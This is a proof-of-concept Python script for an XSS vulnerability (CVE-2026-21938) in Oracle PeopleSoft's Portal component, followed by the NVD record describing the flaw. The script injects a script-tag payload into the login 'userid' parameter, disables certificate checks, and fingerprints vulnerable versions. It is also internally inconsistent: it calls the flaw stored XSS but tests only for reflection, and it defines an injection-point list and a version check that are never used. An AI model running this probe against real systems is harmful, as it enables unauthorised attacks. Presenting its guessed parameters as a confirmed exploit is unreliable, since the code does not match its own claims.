CVE-2026-21938

import requests import urllib3 urllib3.disable_warnings() # CVE-2026-21938 PoC - PeopleSoft Portal XSS # Target: Oracle PeopleSoft Enterprise PeopleTools # Component: Portal TARGET_URL = "https://vulnerable-server/psp/HR92D/" # Replace with actual target def test_xss_payload(): """ Test for stored XSS in PeopleSoft Portal component This PoC demonstrates the vulnerability in CVE-2026-21938 """ # XSS payload - typical injection point in Portal parameters xss_payload = "<script>alert('XSS-CVE-2026-21938')</script>" # Common injection points in PeopleSoft Portal injection_points = [ "/psc/HR92D/", "/portal/", "/servletpsc/", "/EMPLOYEE/HRMS/" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } print(f"[*] Testing CVE-2026-21938 on {TARGET_URL}") print(f"[*] Target component: Portal") print(f"[*] Payload: {xss_payload}") # Test various parameters commonly vulnerable in Portal params = { 'cmd': 'login', 'languageCd': 'ENG', 'userid': xss_payload, 'pwd': 'test123' } try: response = requests.get( TARGET_URL, params=params, headers=headers, verify=False, timeout=30 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if xss_payload in response.text: print("[!] VULNERABLE - XSS payload reflected in response") return True else: print("[*] Payload not found in response - may require different injection point") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def verify_version(peoplesoft_url): """ Check PeopleSoft version for vulnerability assessment Affected versions: 8.60, 8.61, 8.62 """ version_urls = [ "/psp/HR92D/?cmd=about", "/psc/HR92D/ABOUT", "/psp/EMPLOYEE/HRMS/h/?tab=DEFAULT" ] for url in version_urls: try: response = requests.get( peoplesoft_url + url, verify=False, timeout=10 ) # Look for version indicators in response if '8.60' in response.text or '8.61' in response.text or '8.62' in response.text: print(f"[+] Found vulnerable version indicator at {url}") return True except: continue return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-21938 PoC - Oracle PeopleSoft PeopleTools Portal XSS") print("CVSS: 6.1 (Medium)") print("=" * 60) test_xss_payload()

{"cve": {"id": "CVE-2026-21938", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:56.533", "lastModified": "2026-01-29T21:11:06.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Portal). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto PeopleSoft Enterprise PeopleTools de Oracle PeopleSoft (componente: Portal). Versiones compatibles que están afectadas son 8.60, 8.61 y 8.62. Vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso a la red vía HTTP comprometer PeopleSoft Enterprise PeopleTools. Ataques exitosos requieren interacción humana de una persona que no sea el atacante y aunque la vulnerabilidad está en PeopleSoft Enterprise PeopleTools, los ataques pueden impactar significativamente productos adicionales (cambio de alcance). Ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de actualización, inserción o eliminación a algunos de los datos accesibles de PeopleSoft Enterprise PeopleTools, así como acceso de lectura no autorizado a un subconjunto de los datos accesibles de PeopleSoft Enterprise PeopleTools. Puntuación Base CVSS 3.1 de 6.1 (impactos en la Confidencialidad e Integridad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.60:*:*:*:*:*:*:*", "matchCriteriaId": "AF191D4F-3D54-4525-AAF5-B70D3FD2F818"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.61:*:*:*:*:*:*:*", "matchCriteriaId": "18F15FC6-947A-462A-8329-C52907799A7C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.62:*:*:*:*:*:*:*", "matchCriteriaId": "FF0E4EFC-096B-4861-8D55-D8DAA37A21E9"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}